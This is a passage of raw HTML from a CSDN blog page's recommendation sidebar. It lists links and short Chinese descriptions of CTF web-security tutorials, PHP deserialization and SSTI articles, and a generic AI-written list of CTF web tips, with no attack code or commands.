<a href="https://download.csdn.net/download/qq_25926525/10736460" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.11","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-download-2~default~BlogCommendFromBaidu~Rate-11-10736460-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"11","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://download.csdn.net/download/qq_25926525/10736460"}" data-report-query="spm=1001.2101.3001.6650.11&utm_medium=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-11-10736460-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-11-10736460-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=21">
<div class="left ellipsis-online ellipsis-online-1"><em>CTF</em> <em>web</em>安全经典例<em>题</em>讲解</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info display-flex">
<span class="info-block">10-22</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://download.csdn.net/download/qq_25926525/10736460" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.11","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-download-2~default~BlogCommendFromBaidu~Rate-11-10736460-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"11","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://download.csdn.net/download/qq_25926525/10736460"}" data-report-query="spm=1001.2101.3001.6650.11&utm_medium=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-11-10736460-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-11-10736460-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=21">
<div class="desc ellipsis-online ellipsis-online-1">该内容为<em>CTF</em>赛<em>题</em><em>web</em>安全经理例<em>题</em>讲解,包含sql注入,密码学、文件上传,提权、抓包改包等多种<em>题</em>型讲解,图文结合,适合新手学习。</div>
</a>
</div>
</div>
</div>
<div class="recommend-item-box type_download clearfix" data-url="https://download.csdn.net/download/qq_45290991/85161043" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.12","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-download-2~default~BlogCommendFromBaidu~Rate-12-85161043-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"12","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://download.csdn.net/download/qq_45290991/85161043"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://download.csdn.net/download/qq_45290991/85161043" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.12","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-download-2~default~BlogCommendFromBaidu~Rate-12-85161043-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"12","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://download.csdn.net/download/qq_45290991/85161043"}" data-report-query="spm=1001.2101.3001.6650.12&utm_medium=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-12-85161043-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-12-85161043-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=22">
<div class="left ellipsis-online ellipsis-online-1"><em>ctf</em><em>web</em><em>题</em>型<em>总结</em>大全(例<em>题</em>wp都有)</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info display-flex">
<span class="info-block">04-17</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://download.csdn.net/download/qq_45290991/85161043" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.12","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-download-2~default~BlogCommendFromBaidu~Rate-12-85161043-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"12","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://download.csdn.net/download/qq_45290991/85161043"}" data-report-query="spm=1001.2101.3001.6650.12&utm_medium=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-12-85161043-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-12-85161043-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=22">
<div class="desc ellipsis-online ellipsis-online-1">欢迎关注hack<em>ing</em>水友攻防实验室,更多内容都在微信公众号</div>
</a>
</div>
</div>
</div>
<div class="recommend-item-box type_download clearfix" data-url="https://download.csdn.net/download/weixin_42693182/10909938" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.13","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-download-2~default~BlogCommendFromBaidu~Rate-13-10909938-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"13","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://download.csdn.net/download/weixin_42693182/10909938"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://download.csdn.net/download/weixin_42693182/10909938" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.13","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-download-2~default~BlogCommendFromBaidu~Rate-13-10909938-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"13","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://download.csdn.net/download/weixin_42693182/10909938"}" data-report-query="spm=1001.2101.3001.6650.13&utm_medium=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-13-10909938-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-13-10909938-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=23">
<div class="left ellipsis-online ellipsis-online-1"><em>CTF</em> <em>Web</em>学习笔记</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info display-flex">
<span class="info-block">01-11</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://download.csdn.net/download/weixin_42693182/10909938" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.13","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-download-2~default~BlogCommendFromBaidu~Rate-13-10909938-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"13","strategy":"2~default~BlogCommendFromBaidu~Rate","dest":"https://download.csdn.net/download/weixin_42693182/10909938"}" data-report-query="spm=1001.2101.3001.6650.13&utm_medium=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-13-10909938-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-download-2%7Edefault%7EBlogCommendFromBaidu%7ERate-13-10909938-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=23">
<div class="desc ellipsis-online ellipsis-online-1"><em>CTF</em> <em>Web</em>学习笔记,包含杂项和<em>WEB</em>两部分,包含杂项简介,<em>WEB</em>知识点<em>总结</em>以及<em>Web</em>常用套路<em>总结</em>。</div>
</a>
</div>
</div>
</div>
<div class="recommend-item-box type_blog clearfix" data-url="https://blog.csdn.net/m0_65849838/article/details/124420614" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.14","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-14-124420614-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"14","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/m0_65849838/article/details/124420614"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://blog.csdn.net/m0_65849838/article/details/124420614" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.14","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-14-124420614-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"14","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/m0_65849838/article/details/124420614"}" data-report-query="spm=1001.2101.3001.6650.14&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-14-124420614-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-14-124420614-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=24">
<div class="left ellipsis-online ellipsis-online-1"><em>CTF</em>基础知识</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/m0_65849838" target="_blank" data-report-query="spm=1001.2101.3001.6650.14&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-14-124420614-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-14-124420614-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=24"><span class="blog-title">m0_65849838的博客</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">04-26</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
6458
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://blog.csdn.net/m0_65849838/article/details/124420614" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.14","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-14-124420614-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"14","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/m0_65849838/article/details/124420614"}" data-report-query="spm=1001.2101.3001.6650.14&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-14-124420614-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-14-124420614-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=24">
<div class="desc ellipsis-online ellipsis-online-1">文章目录一. <em>CTF</em>简介1.开启<em>题</em>目并点击<em>题</em>目附件2.得到正文和flag①正文②FLAG二.竞赛模式1.开启<em>题</em>目并点击<em>题</em>目附件2.正文和flag①正文理论知识Jeopardy-解<em>题</em>AwD-攻防模式AWP-攻防增强RHG-自动化[ AI自动化]RW-真实世界KoH-抢占山头Mix[混合]②flag三.比赛形式1.开启<em>题</em>目并点击<em>题</em>目附件2.正文和flag①正文线上线下②flag四.<em>题</em>目1.开启<em>题</em>目并点击<em>题</em>目附件二.正文和flag①正文<em>Web</em>PwnReverseCryptoMisc②flag
一. <em>CTF</em>简介
1</div>
</a>
</div>
</div>
</div>
<div class="recommend-item-box type_blog clearfix" data-url="https://blog.csdn.net/qq_43668710/article/details/105525996" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.15","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-15-105525996-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"15","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/qq_43668710/article/details/105525996"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://blog.csdn.net/qq_43668710/article/details/105525996" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.15","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-15-105525996-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"15","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/qq_43668710/article/details/105525996"}" data-report-query="spm=1001.2101.3001.6650.15&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-15-105525996-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-15-105525996-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=25">
<div class="left ellipsis-online ellipsis-online-1">[反序列化篇]史上<em>最全</em><em>PHP</em>反序列化漏洞实例复现姿势详解(补充<em>ing</em>)</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/qq_43668710" target="_blank" data-report-query="spm=1001.2101.3001.6650.15&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-15-105525996-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-15-105525996-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=25"><span class="blog-title">qq_43668710的博客</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">04-15</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
1670
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://blog.csdn.net/qq_43668710/article/details/105525996" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.15","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-15-105525996-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"15","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/qq_43668710/article/details/105525996"}" data-report-query="spm=1001.2101.3001.6650.15&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-15-105525996-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-15-105525996-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=25">
<div class="desc ellipsis-online ellipsis-online-1">0x01
实验环境
靶场:pikachu+LKWA
平台:bugku+攻防世界+0<em>CTF</em>+南邮<em>ctf</em>+其他
环境:win10+VPS(ubuntu)+Docker
工具:Burp+MantraPortable
(注:若有人需要以上靶场或工具,可以进群自取.群号:456396901)
预备知识
Session反序列化漏洞
phar://协议
phar文件
简单回顾
对上一篇博客做一些补充:
所谓序列...</div>
</a>
</div>
</div>
</div>
<div class="recommend-item-box type_blog clearfix" data-url="https://blog.csdn.net/m0_61506558/article/details/127308032" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.16","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-16-127308032-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"16","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/m0_61506558/article/details/127308032"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://blog.csdn.net/m0_61506558/article/details/127308032" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.16","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-16-127308032-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"16","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/m0_61506558/article/details/127308032"}" data-report-query="spm=1001.2101.3001.6650.16&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-16-127308032-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-16-127308032-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=26">
<div class="left ellipsis-online ellipsis-online-1"><em>PHP</em>中的SSTI模板注入——Twig、Smarty、Blade</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/m0_61506558" target="_blank" data-report-query="spm=1001.2101.3001.6650.16&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-16-127308032-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-16-127308032-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=26"><span class="blog-title">m0_61506558的博客</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">10-13</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
1789
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://blog.csdn.net/m0_61506558/article/details/127308032" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.16","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-16-127308032-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"16","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/m0_61506558/article/details/127308032"}" data-report-query="spm=1001.2101.3001.6650.16&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-16-127308032-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-16-127308032-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=26">
<div class="desc ellipsis-online ellipsis-online-1">最近接触到了SSTI注入的考点,里面涉及的内容比较杂,和SQL注入一样,影响的面较广,打算先从<em>PHP</em>模块注入开始,一步步深入学习。(一)TwigTwig是来自于Symfony的模版引擎,它非常易于安装和使用。Twig使用一个加载器 loader(Twig_Loader_Array) 来定位模板,以及一个环境变量environment(Twig_Environment) 来存储配置信息。</div>
</a>
</div>
</div>
</div>
<div class="recommend-item-box type_blog clearfix" data-url="https://blog.csdn.net/H_cookie/article/details/124312984" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.17","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-17-124312984-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"17","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/H_cookie/article/details/124312984"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://blog.csdn.net/H_cookie/article/details/124312984" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.17","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-17-124312984-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"17","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/H_cookie/article/details/124312984"}" data-report-query="spm=1001.2101.3001.6650.17&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-17-124312984-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-17-124312984-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=27">
<div class="left ellipsis-online ellipsis-online-1">漏洞扫描报告</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/H_cookie" target="_blank" data-report-query="spm=1001.2101.3001.6650.17&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-17-124312984-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-17-124312984-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=27"><span class="blog-title">H_cookie的博客</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">04-21</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
2642
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://blog.csdn.net/H_cookie/article/details/124312984" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.17","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~OPENSEARCH~Rate-17-124312984-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"17","strategy":"2~default~OPENSEARCH~Rate","dest":"https://blog.csdn.net/H_cookie/article/details/124312984"}" data-report-query="spm=1001.2101.3001.6650.17&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-17-124312984-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-17-124312984-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=27">
<div class="desc ellipsis-online ellipsis-online-1">提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录一.<em>CTF</em>基础知识<em>CTF</em>简介<em>CTF</em>竞赛<em>CTF</em>比赛形式<em>CTF</em><em>题</em>目二.<em>Web</em>(信息泄露下的目录遍历、<em>PHP</em>INFO、备份文件下载)(一)目录遍历1、开启<em>题</em>目2、寻找flag(二)<em>PHP</em>INFO1、开启<em>题</em>目3、寻找flag(三)备份文件下载1、网站源码技能树解<em>题</em>过程(1)、开启<em>题</em>目(2)、使用Burp Suite Community Edition软件(3)、回到<em>题</em>目进行操作2、bak文件(1)、开启<em>题</em>目(2)、在<em>题</em>目网址上进行操作3、.</div>
</a>
</div>
</div>
</div>
<div class="recommend-item-box type_chatgpt clearfix" data-url="https://wenku.csdn.net/answer/353dcf7d749f4a308a0b3e4607aab177" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.18","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-chatgpt-2~default~CTRLIST~Position-18-353dcf7d749f4a308a0b3e4607aab177-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"18","strategy":"2~default~CTRLIST~Position","dest":"https://wenku.csdn.net/answer/353dcf7d749f4a308a0b3e4607aab177"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://wenku.csdn.net/answer/353dcf7d749f4a308a0b3e4607aab177" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.18","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-chatgpt-2~default~CTRLIST~Position-18-353dcf7d749f4a308a0b3e4607aab177-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"18","strategy":"2~default~CTRLIST~Position","dest":"https://wenku.csdn.net/answer/353dcf7d749f4a308a0b3e4607aab177"}" data-report-query="spm=1001.2101.3001.6650.18&utm_medium=distribute.pc_relevant.none-task-chatgpt-2%7Edefault%7ECTRLIST%7EPosition-18-353dcf7d749f4a308a0b3e4607aab177-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-chatgpt-2%7Edefault%7ECTRLIST%7EPosition-18-353dcf7d749f4a308a0b3e4607aab177-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=28">
<div class="left ellipsis-online ellipsis-online-1"><em>ctf</em>中<em>web</em><em>题</em>有什么技巧</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info display-flex">
<span class="info-block">04-05</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://wenku.csdn.net/answer/353dcf7d749f4a308a0b3e4607aab177" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.18","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-chatgpt-2~default~CTRLIST~Position-18-353dcf7d749f4a308a0b3e4607aab177-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"18","strategy":"2~default~CTRLIST~Position","dest":"https://wenku.csdn.net/answer/353dcf7d749f4a308a0b3e4607aab177"}" data-report-query="spm=1001.2101.3001.6650.18&utm_medium=distribute.pc_relevant.none-task-chatgpt-2%7Edefault%7ECTRLIST%7EPosition-18-353dcf7d749f4a308a0b3e4607aab177-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-chatgpt-2%7Edefault%7ECTRLIST%7EPosition-18-353dcf7d749f4a308a0b3e4607aab177-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=28">
<div class="desc ellipsis-online ellipsis-online-1">作为AI语言模型,我并不会<em>CTF</em>,但以下是一些通用的技巧,可以帮助你在<em>CTF</em>的<em>Web</em><em>题</em>中取得成功:
1. 深入了解HTTP协议和<em>Web</em>应用程序的基础知识,包括Cookie、Session、HTTP请求头和响应头等。
2. 熟悉基本的<em>Web</em>漏洞,如SQL注入、XSS、CSRF、文件包含、命令注入等。
3. 熟练使用Burp Suite等工具进行渗透测试和漏洞分析。
